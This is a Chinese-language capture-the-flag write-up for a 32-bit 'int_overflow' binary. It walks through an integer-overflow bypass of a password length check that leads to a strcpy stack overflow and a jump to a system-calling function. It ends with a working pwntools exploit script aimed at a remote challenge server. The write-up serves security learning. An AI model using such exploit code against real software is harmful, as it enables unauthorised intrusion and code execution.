文件下載地址:
鏈接:https://pan.baidu.com/s/1RiL_dBXGdIRsz76Nw0Mj2w
提取碼:s8sy
目錄
0x01.分析
checksec:
32位程序,開啓了NX。
看下源碼:
理清一下流程:
- 首先選擇1或2,選1登陸。
- 登陸函數中,首先輸入名字。
- 然後輸入密碼。
- 返回到密碼檢查函數,檢查密碼的長度,不在(4,8)內直接退出。
- 在這個範圍內,使用了strcpy函數賦值密碼到dest,然後返回。
- 發現源碼中有直接調用system的函數,但程序本身沒有調用。
尋找一下漏洞:
- 首先查看兩個read函數,buf分配的空間都比實際read讀入的要大,沒有漏洞。
- strcpy函數的dest只有0x14,但s最多有0x199,存在棧溢出。
- 然後檢查s的來源,發現來自第二個read。
- 繼續查看檢查函數的源碼發現,對read讀入的字符串s有一個長度的限制,不能超出8。
- 這樣的話,暫時無法直接從read讀大串字符從strcpy溢出。
- s的長度最終給了v3,是通過v3進行長度的判斷,我們查看一下v3。
- 發現v3是8位無符號整數,則最大隻能是255。
- read函數的長度是0x199,遠大於255。
- 發現可以使用整型溢出。
利用漏洞攻擊:
- 要使得v3的值是(4,8),利用整型溢出,我們可以使得read讀入長度爲(260,264)。
- 這樣溢出後,v3的值剛好在範圍內。
- 先確定一下strcpy處的偏移:
4.偏移量爲0x14+4。
5.查看system的地址:
地址爲:0x0804868B
6.可以開始編寫攻擊腳本。
0x02.exp
##!/usr/bin/env python
from pwn import*
#r=process('./int_overflow')
r=remote("111.198.29.45",48613)
system_adr=0x0804868B
payload=(0x14+4)*'A'+p32(system_adr)
payload+=(260-len(payload))*'A'
r.recvuntil("choice:")
r.sendline('1')
r.recvuntil("username:")
r.sendline("atfwus")
r.recvuntil("passwd:")
r.sendline(payload)
r.interactive()